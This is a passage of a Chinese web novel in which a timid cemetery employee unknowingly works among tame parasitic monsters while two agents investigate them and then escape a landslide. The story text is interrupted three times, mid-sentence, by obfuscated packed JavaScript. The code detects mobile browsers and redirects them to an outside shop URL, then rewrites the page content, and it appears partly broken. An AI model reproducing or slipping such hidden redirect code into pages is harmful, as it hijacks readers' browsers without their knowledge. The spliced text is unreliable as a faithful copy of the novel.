几簇微卷的黑发从头盔边缘冒出,又被流动的晨风拨开。 清秀的五官随之暴露在空气中:饱满的额头下眉头轻蹙,一副眼尾微垂的杏眼显得人畜无害。此刻,安浔还在神情专注地骑车,双目眺望着远方。 严祈明的视线锁定向安浔的脸。 黑痣。 仔细一看才发现,安浔身上有很多痣。 唇角下有一颗,鼻梁边一颗,卧蚕、太阳穴、脖颈……耳垂。 好多痣。 一时之间数不清有多少。 但这么多痣居然全长在了该长的地方,不仅不影响仪容,还成为了画龙点睛的加分项。 虽然神情阴郁。 但客观评价,安浔长了一张很耐看的脸。如果学会正确使用方法,应该能讨得许多人的欢心。 严祈明调过安浔的档案。 安浔不是本地人,两年前搬来擎安市的。大学没念完,但具体原因好像是因为生病。此前的人生和蚀体没有任何交集,个人履历也不存在疑点。 那么…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16569268|187026||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 安浔为什么能穿过茧幕? 他昨天还从内部破开了[齿蚯]的胃壁,转瞬便杀死了一个B级蚀体。 而偏偏就是这样的人,居然连蚀体都看不见……简直匪夷所思。 严祈明正欲继续打探点什么,却在前方即将上山的路口,瞥见一道熟悉的身影。 只见一个穿着小黄鸭外套的青年半蹲在道边,亮黄一片非常醒目,像块路标。 他手里还端着盒酸辣粉,正在抓紧时间嗦嗦嗦。 严祈明:“……” 好熟悉的场景。 见到他们过来,青年当即朝安浔热情地挥手: “嗨,安浔!” 是陈羿川。 他站起身,视线和后座的严祈明恰好交汇—— 定住。 陈羿川:“?” 严祈明:“?” 俩人眼里全都映照着彼此震惊的脸,就差写上“你来这干啥??” 严祈明递送一个挑眉:你赶紧走,小孩别添乱。 陈羿川回以一个瞪视:你别管,我有我的节奏。 严祈明竖起一根中指。 陈羿川直接回敬两根。 “嗯……嗨?” 安浔没注意到两只小学鸡在互啄。 陈羿川颠颠跑了过来。 他无视了严祈明越来越黑的脸,朝安浔爽朗微笑: “安浔,我昨天不是跟你咨询了墓地的事吗?其实我想去墓地看看,你能不能给我捎进去啊?” 安浔:“你也要买墓地?” 陈羿川点点头。 并道出自己早已备好的理由:“对对,其实我有一个朋友……” 安浔震惊:“!” 他看看陈羿川,又看看严祈明,弱弱道:“你俩的朋友……” 一瞬间。 二人如临大敌,眼疾手快地指向对方,无比嫌弃又无比默契地同步高呼—— “对,就是陈羿川!” “没错,是严祈明!” 安浔:“……?” 不是。到底谁要买啊? 安浔:“那个。其实也有双人间,比一户一人划算……你俩考虑一下?” …… …… 到底是谁买不重要了。 因为最后受伤的,只有安浔的小电驴。 薄荷绿色的电瓶车上,背贴着背勉强挤下了三名成年男性。 车子吭哧吭哧地向山坡上攀爬,引擎声在山间幽幽回荡,如泣如诉。 安浔的社恐毫无意外地又犯了。 他一路抖抖抖,连带着严祈明和陈羿川也跟着抖。 他们是真的在抖。 因为车快开进山沟了。害怕。 “就、就是这里……” 最后安浔凭着顽强的意志力,将两位客户有惊无险地送进了麟溪墓园。 虽然路上耽搁了一会,但他还是准时进了单位。而到了麟溪墓园,他就要做一个称职的员工。 安浔把车子停好,踢下脚撑,深吸了几口气调整状态,这才走到二人前面,负责领路。 “我先带你们进园区。” “我们这边有专门接待客户的销售,我一会叫他过来带你们了解一下。” 严祈明和陈羿川点点头,循声跟上。 他们的视线悄然交汇,无声地交流着信息,再无刚才仿佛置身对抗路互扯头花的架势。 安浔看不见,但他们能。 从他们涉足开始,这座墓园就有越来越多的蚀体汇集起来,潜藏在暗处,静悄悄地注视着他们的一举一动。 如芒刺背。 犹如群狼环伺。 25. 不懂就问 (25) “你带了吗?” 严祈明低头瞄了眼陈羿川。 “带着了。”陈羿川神情僵硬,干巴巴道:“我没想到会有这么多……” 太多了。 即使他们外勤经验丰富,也从未见过这种情况。 上到高耸蔽天的古树,下到草坪间的微小虫豸,全都混杂着数不胜数的蚀体——整座墓园,就像一个孕育着蚀体的温床。 二人看安浔的眼神更复杂了。 这人在麟溪墓园,究竟是怎么安然熬过这么多天的? 还能怎么熬? “啪——!!!” 一声清脆响亮的巴掌声。接踵而来的,是安浔崩溃的尖叫: “啊啊啊章扬!!!” “我是说了不能吃生食……但你为什么在烤苍蝇啊啊啊啊啊卧槽啊啊啊!!!!” 就这么一巴掌一巴掌熬过去的。 严祈明:“……” 陈羿川:“……” 真是一点不委屈自己啊。 白担心了。 哈哈。 俩人闻声赶去。 只见安浔已经红温了。脸憋的涨红,像被惹急了要跳起来咬人的兔子。 旁边还有个满脸钉子的黄毛。 此时,黄毛委屈巴巴地站在原地,偷感很重地垂着头,活像犯错被家长抓包的小孩。 他脚边还陈列着作案工具: 几块燃着小火的木条,上方支了个简陋的架子。 几只苍蝇四仰八叉地被一根根细长铁签贯穿,正被搭在架子上用小火炙烤,外壳已经微焦酥脆。 严祈明:“……” 陈羿川:“……” 这个喷不了,这是真该骂。 “你为什么又吃!!” 安浔盯着黄毛,怒目圆睁:“你能不能吃点干净东西!你到底从哪搜罗来这些玩意的!!” “卫、卫生间……” 黄毛瑟瑟发抖着,小声补充道:“我抓了一宿才攒出这些来呢,还想着给哥你留一串。” 留、留一串? 安浔瞬间头皮发麻。 他心惊胆战了一路才赶到单位,还没进办公楼就撞见如此猎奇,险些刺瞎他眼睛的一幕…… 吸气。 呼气。 吸气。 呼气。 忍住。忍住。忍住。 但那是苍蝇啊!! 靠。烤的滋滋冒油了!!! 啊啊啊啊啊啊啊啊忍不了啊!一拳把地球干爆!!! 安浔怒火中烧。 他浑身止不住地发抖,两眼一瞪,眉毛一拧。指着旁边的空地大吼出这辈子最狠毒的指令: “蹲下!!!” 黄毛二话不说,抱头就蹲。 “?”陈羿川大为震撼。 他看得一愣一愣的,悄悄凑到严祈明耳边,小声问:“我没认错吧?寄生在这个黄毛体内的蚀体,是不是[噬犬]?” 被蚀体寄生的人类,在长相上会发生一些异变。 这个黄毛犬齿尖长,已经无法被嘴唇包裹住了,隐约张开的口腔内泛着腐肉般的暗红色。这些都是[噬犬]的特征。 而且这人…… 瞧着也狗里狗气,不太聪明的样子。 “应该是。”严祈明说。 “但……那可是B级战斗型蚀体的天花板啊。破坏力极高,还以人类为食!”陈羿川盯着地上的黄毛,神情惊异。 这个在干什么? 吃苍蝇?这么素? ……真给训成狗了??? 而且。 怎么感觉这个[噬犬]……很通人性的样子? 一般来说,被[噬犬]寄生的人类都会丧失理智,完全无法交流。 它们一旦锁定猎物,就会不留余力地持续追捕,直至尖利的牙齿洞穿猎物的喉咙。 鉴于其高危性,[噬犬]在蚀体防控中心的“见杀”名单中。 见到了,就要杀掉。 不留任何余地。 陈羿川从小黄鸭外套的衣兜内,掏出一根荧光棒。 下一秒。 严祈明攥住他的手腕,无声摇头。陈羿川犹豫了一会,最终还是把手收了回去。 黄毛蹲在地上啜泣。 “呜呜呜,哥你别生气啊。我真的只是太饿了,我的零食都被吃光了嘛……” 安浔:“前天给你的钱呢?三百你能买多少吃的?” 章扬:“我没花。” “哥你给我的钱我舍不得用。而且我一想出去就迷路。不知道为什么,就是走不出麟溪山,对不起呜呜呜我太笨了……” 安浔:“……#” 章扬:“QAQ” “害,你说这事闹得——” 眼见场面越发尴尬,严祈走上前去横插一脚,乐呵呵地打起圆场: “安浔你别生气,人小孩肚子饿也情有可原嘛。对了——你们员工平时在这怎么吃饭啊?” 提到这茬,安浔才想起来。 “对啊。”安浔皱眉。 “那你饿着肚子,去食堂吃饭不就好了?” 黄毛摇摇头,神情抗拒。 “哥,不知为什么……我每次路过食堂的时候都有点抵触,就一直没去吃过饭。” 啊? 那岂不是一日三餐都在饿肚子?这都几天了? “你……起来吧。” 安浔顿时熄火了,朝章扬招招手,“我带你去食堂吃饭,实在不行加几个钱让师傅单独炒菜。” 吃个饭都吃不明白。 这小孩。唉。 安浔叹了口气。 这下总算冷静下来了。 再一抬头,他才反应过来严祈明和陈羿川还在场。 安浔:“。” 他刚才。 好像发了很大的火。 还是当着两个客户的面怒斥孩子的那种。 “…………” 安浔原地抱头。 啊啊啊果然人生气到极点的时候,不仅不分场合,还不分人设。 但那可是苍蝇啊! 苍蝇!从厕所掏出来的苍蝇!! 那能吃吗!! 啊啊啊啊啊啊脏死了!!! 忍不了。 根本忍不了。 刚才在气头上,安浔顾不上那么多。 但现在气消了,他顿时回过劲来,偷偷蜷起藏在鞋里的脚趾,当场扣了个三室一厅外加精装渲染图。 抖抖抖。 安浔又开始抖了。 他尴尬地盯着二人,为了维持麟溪墓园最后的一点体面,竭尽全力地解释道: “不、不好意思……” “这是单位新来的小孩。让、让你们见笑了。” 严祈明沉默了一会。 然后,他真心实意道: “没事。” “……其实是让我俩开眼了。” …… ———— 十分钟后 他俩又开眼了。 严祈明:“。” 陈羿川:“。” 二人坐在食堂的餐桌边,对面是安浔和大气不敢喘上一声的黄毛。 原本安浔是想去找销售带他俩看墓地的。 结果一进办公室,就被阮姐告知程蔼因病休假了,昨天和今天都没来。 那带客户的事,自然又落在了安浔头上。 不过严祈明和陈羿川好像都不着急的样子,提出想先来食堂看看伙食。 这就蛮奇怪的。 因为一般来墓地的客户都不会好奇食堂口味如何。 毕竟住这之后也吃不上。 更远的后厨里,传来叮叮咣咣的声响。 又是切菜、又是添柴、又是颠勺、又是煎炸,还有功夫刷锅洗碗…… 仿佛厨房里有七八个师傅在同时工作。 “我问你个问题啊。” 严祈明偷瞄了一眼后厨,神色有点微妙,“你们这厨子哪里请的?” 安浔沉思了一会。 “这我还……真不知道。” “厨子都是临时的,我工作的这几年陆续换过几个,里面的师傅是谁我也不太注意……” 毕竟。 他以前见到活人都是绕道走的。 麟溪墓园员工少,但食堂是必须存在的。 原因是员工们大多在墓园住宿,没有条件带饭。而且他们这种深山老林,根本叫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16569269|187026||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不到外卖。 骑手一看派送地址是墓园,不仅吓得原地退单,还得当场朝手机磕俩头。 “哦对。”安浔想了想,又补充:“但我感觉这几天……应该是换新厨子了。我午饭都是在食堂吃的,明显感觉菜比以前可口,好吃了很多。” 严祈明:“……” 他没忍住,又多嘴道:“是不是还比以前做得快?” 安浔愣了愣,有点惊讶。 “是啊。做得又快又多,几分钟好几个菜就出来了,肯定是个大师……你怎么知道的?” “……”严祈明沉默。 是啊。 当然又快、又好、又多啊。 不然那么多手是白用的吗!!! 他眼睁睁看着一根根娇滴滴的嫩粉色触手从窗口伸出,用吸盘固定住满满一盘菜,将其稳妥地倒进打饭口,一滴油水都没迸溅出来。 严祈明往后厨门口一瞄,还能看见投映在墙上的剪影—— 一个庞然大物正指挥着自己柔软的十几根触手,这个洗菜、那个切菜,洗好放盆里,切好倒锅里,一切都井然有序。 那东西…… 居然真在好好做饭。 甚至选用的食材也是再正常不过的鲜肉蔬果。就好像,它真的认为自己是一名厨子,把员工喂饱是职责所在。 而坐在餐桌边瑟瑟发抖的黄毛,恰好能佐证那厨房中的存在。 A级蚀体[佰手]。 以本体形式出现,无法被普通人类观测。但同为蚀体的黄毛,是不可能察觉不到的。 蚀体之间存在等级上的压制。 等级低的一方,会不由自主地畏惧等级更高的一方。 这就是黄毛一直不敢来食堂的原因。 但现在,这小黄毛居然顶着那阵威压独自盛满饭菜,端着餐盘回来了。 “哥,我看你们好像都不吃饭……” 黄毛坐回原位。 他瞅瞅安浔,又瞅瞅对面的严祈明和陈羿川,腼腆地笑了起来:“听说你们是哥的朋友,结伴来看墓地的。对不起啊,耽误你们这么久时间。” 章扬有点不好意思,小声和安浔说:“哥,要不你先去忙?我一个人留这吃饭就行的。” 确实是。 安浔本以为这俩人一个泡面没吃够,一个酸辣粉没吃饱,是来食堂蹭饭的。结果厨子出餐了,他俩却完全没有打饭的意思。 估计是怕他又训章扬,才刻意跟来了。 他们人还怪好的。 安浔站起身。 “那走吧……我先带你们去墓地看看。” 一行三人出了食堂。 但刚走下门口的阶梯,他们就被拦住了。 拦路的是只鸽子。 它圆润的犹如一坨霉菌球,正费力地扑棱着翅膀,挺着肥硕的胸肌从天而降,倨傲地抬起小脑瓜,停在三人面前。 “咕咕咕~”鸽子笑容邪恶。 “安浔!鸽说到做到!今天鸽找人来弄你了!!” 安浔:“……?” 他顿住脚步,仔细回忆了一下,好像确有其事。 上次鸽子被他从办公楼丢回食堂门口的鸟笼里时,曾扬言要找人弄他……不是,还真找来了?这其实是个社会鸽?? “呵。”鸽子邪魅一笑,神气地展开翅膀,朝身边一指:“这就是鸽的帮手!!” “来!亮个相吧!大宝贝——” 咚。 咚—— 地面随之震荡了几下。 只见一只形态犹如章鱼香肠的庞大生物,缓慢地从食堂后门走出。它身上套着一件干净精致的蕾丝围裙,还挥舞着绑有蝴蝶结的十八根触手,往鸽子身后娇羞一站。 这不是“厨子”吗? [佰手]看看对面三人,紧张地扭动起嫩粉色身躯,伸出两根触手咕啾咕啾地捂在脸前,绵软的腕足泛着红,完全不敢见人。 “诶呀老板,人家才不会弄人呢!你不要瞎说~” 佰手居然说话了。 还是甜妹音! 围观的严祈明&陈羿川:“…………” 不是。 这麟溪墓园还有点正常蚀体吗? 这都什么? 花园宝宝??? 26. 这都啥时候了 (26) 以上皆为严&陈视角。 实则安浔什么都没看见,也没有听见。 他只觉得脚下晃了晃,一阵强风扑面而来。等他战战兢兢睁开眼时,发现鸽子身边空无一物,一团空气闪亮登场。 安浔:“……” 他不明白这只邪恶霉菌球为什么和他过不去。 可能他看起来很好欺负吧。 连鸽子都知道,他是全墓园最好惹的人。 安浔一脸生无可恋地从鸽子身边绕开,轻飘飘道:“我今天要带客户……下次一定。” 邪恶霉菌球:“?” 真是被看扁了! 它并不打算放安浔离开,当即愤怒大吼: “大宝贝!弄他!!给你涨工资!!!” 下一秒。 佰手豁出去似的,总算撤开挡在脸前的触手,露出了黑葡萄般圆溜溜的眼睛,以及一张向外凸出犹如炮筒的“O”型大嘴。 “tui——” 一团粉红色的水球在它的口中凝聚,朝安浔的背影喷射而去。 陈羿川见状,果断掰断荧光棒,提剑就要冲去—— “等等。” 然后被严祈明拎着小黄鸭帽子拖回去了。 陈羿川:“??” 他急的直蹬腿:“你干什么!严祈明你疯了吗!!” 严祈明淡定地朝前一指。 只见粉红色的水球精准无误地落在了安浔的脚下,变成了一滩冒着气泡的肥皂水。 然后安浔脚下一滑。 他伸在前面的左脚朝前一蹿,右脚向后一展—— 直接原地劈了个叉。 “…………?” 安浔保持着一字马的状态停顿在地,大脑起码空白了十秒钟。 发生了什么? 他滑倒了? 他脑子有点发懵,隔了好半天才从地上爬起,正要接着往前走—— 大宝贝:“tui——” “???”安浔又劈了个叉。 邪恶霉菌球得意洋洋地飞到安浔身前。 “咕咕咕!知道鸽的厉害了吧!” “让你不尊重鸽!你说和领导低头认个错不就完事了吗?年轻人,鸽劝你一句,你……” 安浔飞快伸手,熟练捏住鸽子的嘴巴,将其甩到一边。 小小鸽子。 叽里咕噜说什么呢。 鸽子:“!!” “你竟然还敢……!!!” 安浔重新站起身。 鸽子又飞了回来,不依不饶地拦在他身前。他正要继续走,脚下却又一滑—— Duang! 安浔再度劈叉。 这次一字马的很丝滑,鸽子朝他俯冲过来,圆滚滚的肚子恰好撞向了安浔的鞋尖。他坐到地上时皮鞋瞬间上翘九十度,一套连招下来,鸽子当场被创飞了。 “@#%#*&!!” 伴着一阵鸟语花香,鸽子在空中划过一道美丽的抛物线,彻底消失在众人眼中。 佰手停止,不再当喷子了。 它将触手悄悄下移,露出一点眼睛盯鸽子飞远的方向,甜妹音依旧羞涩:“呃……老板?还回来吃饭吗?” 安浔一副完全状况外的样子。 他从地上爬起来,左看看右看看,不知所措地挠挠头,最后小声嘀咕道:“……碰瓷?” “…………”陈羿川默默把剑收了起来。 这里蚀体的状况完全超出了他的认知。 除了极少部分拥有智慧的中高阶蚀体外,大部分蚀体都性情残暴且以人类为食。 社会新闻中报道的许多“自然灾害”、“异常死亡”、“集体失踪”等等事件,其实际情况也许并非媒体所描述的那般,而是一桩一桩被防控中心通过公关手段隐藏起来的蚀体入侵事件。 陈羿川虽然年轻,但已经入职防控中心六年了,并不是新人。 在这期间,他处理过大大小小近百起蚀体入侵事件,但从未遇见过这么多……性情温和的蚀体。 它们似乎并不认为自己是蚀体。 而是给予了自身某种社会定位——赤字贼是老板,佰手是厨子,噬犬是保安。 至于安浔那其他几个同事,虽然没见到,但恐怕也是被蚀体寄生的人类。 而正因这里的蚀体存在这种诡异的自我认知,还在各司其职、努力工作,所以安浔迄今为止都没注意到麟溪墓园的“同事”们早已面目全非。 但是……为什么? 为什么这里的蚀体和外面的不一样? 陈羿川抬头,看向身侧的严祈明。 只见高大的银发青年抱着双臂,眉头微蹙,以一种极具探究的目光打量着安浔。 ——因为他? 陈羿川收回视线,看着安浔朝他们走来。 “那个……不、不好意思。” 安浔拍了拍被地面蹭脏的裤子,表情尴尬。 他又开始抖抖抖了。 频率像人体筋膜枪,脸红的仿佛刚从蒸锅端出来,却还在非常努力地讲话: “不不不知道为为什么,地上突然好滑……我我我我现在带你们去墓地,你们走路时小心点qwq。” 陈羿川点点头。 墓园内也混杂着许多蚀体。 有的寄生在植物上,有的寄生在动物上,还有一些飘在墓碑上打盹。好在是白天,否则真的很像什么灵异电影。 而安浔还在磕磕绊绊地介绍着墓地,完全不知自己身边围绕了一群蚀体。 几只低阶的[浮尘]从安浔脸前飘过。 它们实在太小了,外观像微小的淡蓝色水母,不仔细看甚至看不出是水母形态。至于它们的能力…… 安浔:“这片的话相对来说是风水很好的位置,后方靠山、前方开阔,并且全年避风,这象征着逝者可以拥有一个坚实的依托和光明的未来……阿嚏!” 没什么能力。 像这样的低阶蚀体并不会对人类造成威胁,只是多了一些无伤大雅的粉尘。 但这一下喷嚏,直接把[浮尘]全吹走了。 “……不好意思,我可能今早又着凉了。”安浔有点不适地揉揉鼻子,“对了,刚才说到哪了?” 陈羿川:“光明的未来。” “我有个问题啊……逝者真的会有这种东西吗?” 安浔:“应该吧。投个好胎还挺重要的。” 陈羿川:“……确实。” 一行三人就这么一路逛完了整个墓地。 虽然陈羿川一路上始终戒备着突发情况的出现,但整个园区相当安逸。蚀体们虽然始终盯着他们这些外来者,却完全没有准备袭击的样子。 甚至可以隐约听到一些蚀体的讨论: “那个白毛真好看啊!怎么年纪轻轻的就要英年早逝了?” “嘘!你懂什么?来这好啊,以后岂不是能天天看了?” “旁边穿小黄鸭外套的弟弟也很可爱嘛,他俩就不能一起来?” “管理员不是一直在推荐双人墓吗?他俩睡一窝,咱姐几个以后就有福咯~” “……”陈羿川听得头皮发麻。 这你们也能嗑!? 而且外面的蚀体都在讨论怎么吃人,你们在干什么?讨论怎么吃饭嗑cp!? 这对吗??? 严祈明:“这不对。” 陈羿川赞同地点点头:“是不对。” “我是说,这里没有我想要的东西。”严祈明叹了口气,“我以为能在这里得到些和[茧幕]有关的线索。但实际上,问题不仅没能解决,反而变得更多了。” 他的目光在安浔的背影,和笼罩在墓园之外的白雾间游移。 有什么东西影响了这里的蚀体。 但不能确定,究竟是谁影响的。 严祈明抬起手,轻轻触向身边的林区。 林区处在墓园边缘,上方覆盖着一层肉眼可见的白雾。 这片白雾从他们上山时就一直在,视野白茫茫的一片,可见度极低。 当时他们坐在安浔车上,虽然看不清,但一路畅通无阻。而此时他们离安浔太远,严祈明的指尖果然无法再穿过雾气。 就像游戏里不可突破的空气墙,受到某种法则的限制,他的手指无论如何用力,都无法再朝前挺进。 这种白雾,应该是与[茧幕]类似的领域型蚀体。 他们此前从未观测到过这种蚀体,无法确定其能力和特性,但可以推测也能将内外事物隔绝,致其无法进入、也无法离开。否则那个小黄毛不会说自己找不到离开墓园的路。 在来的路上,严祈明就用侵蚀系数勘测仪对白雾进行过测算。侵蚀系数和茧幕差不多,完全可以评到A级。 严祈明沉思了一会。 ……进白雾里看看? 但他和陈羿川都进不去。 要想进去,就得拉上安浔。 “安浔。”严祈明叫住了走在前方的青年,“可以带我们去后山走一圈吗?” 安浔扭过头,表情变得怪异了起来。 他看了看严祈明,又看了看陈羿川,过了好半天才悄悄道: “那什么……如果你们嫌贵,我可以给你们内部员工价的。” “老实说,我也觉得这里的墓地价位高,还只有二十年使用权,不续费就要被迫搬走,又贵又坑。不过后山那片骨灰埋的乱七八糟的,随便走一步都可能踩到别人,你们就……别考虑了吧,身前身后总归要有地方住的,不然多可怜啊。” 严祈明:“……” 陈羿川:“……” 谢谢你啊,好兄弟。 二人解释了好一通,表示就是好奇后山的环境后,安浔总算答应了带他们进后山。 有了安浔在身边,他们果然顺利踏入白雾。 白雾看见安浔,就像在自行避让般,非常懂事地朝周边散去,硬是让出一条安全的通路。 安浔:“这里还挺不好走的,你们注意脚下。” 这里的确不好走。 对于严祈明和陈羿川来说,他们的能见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16569270|187026||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 度仅有周身三米,乳白色的雾气覆盖在眼前,基本看不清东西。二人跟在安浔身后的每一步,都尤为小心。 参天古树的枝条张牙舞爪地向外延伸,在浓雾下化作一道道狰狞的剪影。他们踏过土壤、踩碎落叶的脚步声,化作山林间唯一的声响。 白雾之中,没有蚀体。 或许是因为白雾本身具备屏障作用,其他蚀体根本无法进入。而白雾原本就是强大的高阶蚀体,其他低阶蚀体也根本不敢靠近。 严祈明环顾起四周。 这里实在太安静了。 他记得,溯魂说过自己是被什么人投放在麟溪墓园的,甚至整个麟溪山上的蚀体都是如此——自然也包含这片白雾。 投放白雾的目的是什么? 把其他蚀体都圈养在墓园内? 思忖之时,脚下突然传来一阵剧烈的震荡。 整座山都随之摇晃起来。 地面的土壤向上高高隆起,远边的树木颤颤巍巍地开始抖动! 轰——!!! “安浔!!” 陈羿川眼疾手快地扯住安浔的衣领,前方一颗高耸的巨树轰然倒下! 树木与安浔的脸仅间隔半厘米,他被扯着向后踉跄了几步,这才反应过来发生了什么。 安浔:“这是……” 轰!!! 轰!!!!! 狂风摇曳,泥土飞散。 几颗巨树被连根高高顶起,某种庞然大物仿佛游走在地底,如锐利的笋尖突然破土而出!!! 陈羿川大呼了一声:“卧槽!!!” 只见白雾后方,慢慢升起一条巨大而粗壮的深褐色蚯蚓。张开的圆形裂口处,还向下滴落着粘稠的涎水。 B级蚀体[齿蚯]。 如果放在平地,这充其量是个胃口比较好的大长虫子,行动滞缓、脑子也不好使。祓除难度相对较低。 但放在山上…… 这他爹的随便蛄蛹几下,就能造成毁灭性的灾害啊!!!! “跑——!!!” 陈羿川二话不说,扯着安浔的胳膊就走。 安浔虽然看不见,但能感受到山间的异样。 他跑得呼哧带喘,面色煞白。 在山里工作了这么多年,他立刻意识到这里发生了什么。 咔嚓。 咔嚓咔嚓…… 不远处的岩石表层,也出现了一道道裂纹。岩体左右摇晃,已经产生了明显的松动。 这是山体滑坡!!! “等、等等……往这边来。”安浔说,“我记得路,从这个方向跑能通往停车场,我骑车载着你们跑,应该来得及……!” 他带着二人穿过颤动的林丛,拨开繁茂的枝叶,从树木的罅隙间穿过,总算看见了停车场。 安浔将钥匙插入电瓶车,招呼着二人赶紧上车。 “小陈,你坐中间,我坐后面。”严祈明盯着后方,默默掏出一根荧光棒。 陈羿川同样看了眼丛林深处,那股异样的震荡正在逼近。 “你得了吧,你这么大体格,坐后面根本就……” 下一秒,严祈明直接提着他的帽子给他拎到了车上。 陈羿川:“……?” “小孩别添乱,坐着得了。” 严祈明迅速跃上电瓶车,反身搭在最后方,冷静道:“安浔,开车!” 安浔用力拧下转把。 薄荷绿色的小电驴很快驶离墓园,在山道间疾驰。 山体滑坡的规模与速度远比他们想象的要大,坍塌的树木和岩石混着瀑布般的土壤向下滑行。 安浔的手在抖。 他很紧张,胸腔内的心脏噗通噗通地狂跳,但大脑却前所未有地清醒——只要能从这条山道顺利下去,到前方的路口,他就可以开向滑坡的侧方,安全规避掉这场自然灾害。 他一路下行,终于看见了心心念念的路口! 安浔咬咬牙:“你们坚持住!马上就到了!!” 他余光一瞥,突然发现后视镜里——Prayer正反坐在最后排,徒留背影,双手紧握着两根粉红色荧光棒,在空中四下挥舞。 安浔:“???” 不是,这都啥时候了! Prayer你非要这会练舞蹈吗!!! Prayer跳着跳着,其中一根荧光棒还掉了,他当即破口大骂:“艹!这一次性的玩意不顶用啊!!我为什么不带专武来度假我脑子有坑啊!!!!!” “用我的!” 陈羿川也掏出一根荧光棒,是亮黄色的。 他正要朝严祈明递去,后方竟传来一阵剧烈的震荡! 严祈明刚要接过,身下却刚好一晃。 他整个人朝右边一歪,正欲伸手扶稳,地底却钻出一截齿蚯的长尾! 砰!!! 长尾拍向地面,造成剧烈的冲击! 小电驴被余波震起,足足离地将近一米之高。惯性使然,后方的男人瞬间被甩了出去—— “严祈明!!!!” 27. 一刀999 (27) 小电驴有惊无险地落回了地面。 车轮在触地的刹那有些打滑,安浔用力握住车把,才勉强控制住平衡,没有栽倒在山间。 但是—— 砰!!! 巨大的一声冲撞。 只见银发青年恰好撞向了山崖边的护栏,连护栏都被撞松动了!还沿着斜坡打了几个滚! 安浔懵了半秒,大脑一片空白。 透过后视镜,他看见大片泥沙混合着碎石疾走直下。他吓得立刻减速急停,陈羿川当即跳车,向上方迅速冲去。 安浔急得想尖叫。 啊啊啊这俩人都不要命了吗!! 他慌忙下车,扶住车把,拼尽全力将车子调头。 轰隆隆—— 山间震颤,安浔的脚下在剧烈晃动。眼见着滑下的泥沙就快来了,他双腿发虚地踢下脚撑,跃上驾驶座,抖着手将车子又开了上去。 啊啊啊,不管了! 不去接他俩,他俩就真在麟溪山住上双人房了!!! 安浔赶向山崖边缘。 发现严祈明瘫在地上一动不动,而陈羿川竟没理会他,反倒握着着一根看起来更高级的亮黄色荧光棒在空中挥舞。 一边跳还一边骂骂咧咧的: “严祈明!你个傻x!!” “说了屁大点地方你根本坐不住,你个傻大个你装什么装!!你以为你当过我上级还带过我就很nb吗!现在咱俩可是同级你@#*#@*%……!!!” 安浔:“???” 不是。这个怎么也跳上舞了!!! 他有点窒息,将转把拧到底,以最快速度冲向二人。 靠近栏杆之后,安浔才发现,地上有一片鲜红的血迹。 严祈明伤到头了。 他紧闭双目,脸庞苍白,显然失去了意识。额头的伤口触目惊心,中间泛着深黑,边缘破碎的皮肤狰狞地外翻着,还有血液汩汩向外冒。 连栏杆都被撞弯成他脑瓜的形状,歪斜在山崖边缘,摇摇欲坠。 安浔跑下车,掏出一包纸巾,立刻糊在严祈明的头顶。 他的心脏疯狂乱跳。 是山体滑坡的影响吗?刚才他的车都被震飞了,腾空失重的一瞬他大脑宕机,等反应过来时,Prayer已经飞出去了。 所以到底为什么一个两个的都在跳舞啊!!就不能坐稳扶好吗!!! “陈羿川!”安浔咬咬牙。 “别跳了!我们把他扶上车!要来不及了!!!” 陈羿川的额角冒出一片青筋,手下的动作却没停,反而跳的更激烈了: “我也想啊!但我停不了!!你带着严祈明赶紧——” 陈羿川的声音戛然而止。 因为他眼睁睁看着安浔夺走了他的[逆时]。 那是一把边缘闪着金光的唐刀。 刀身狭直、通体漆黑,前端还刻印着金光闪闪的流动水纹,简直狂霸酷拽。但同僚都说它像一刀999的页游武器,土的一批。 没品! 这是陈羿川作为A级清缴者的专属武器,上面附着的异迹能让这把刀在挥动时减缓周边事物的时间流速。 从在后山撞见齿蚯开始,他们就在被齿蚯一路追逐。 严祈明坐在最后试图拖住齿蚯的进攻,但这车子本就不是给三人坐的,后方空间实在太小,他那么大个人猝不及防被颠一下,一头栽向护栏,直接当场歇菜了。 齿蚯评级B级,但山地是它作战的主场。 向下倾泻的泥沙阻碍了陈羿川的攻击。在[逆时]减缓时间的效果下,齿蚯虽然变成了0.75倍速,但这大蚯蚓不仅皮糙肉厚,在山间还游走灵活。 虽然它已经伤的很重,但陈羿川还没能彻底击杀。 而此刻。 安浔握住了那把金灿灿的唐刀,在空中胡乱挥了一下。 陈羿川瞪大双眼:“安浔!你做什么!!” 只见0.75倍速的齿蚯立刻回复了原本的速度,深渊巨口的边缘张开一圈锋利的尖牙,向他们径直冲来! 安浔当然看不到。 更没有感知到危险袭来,只气的咬牙切齿: 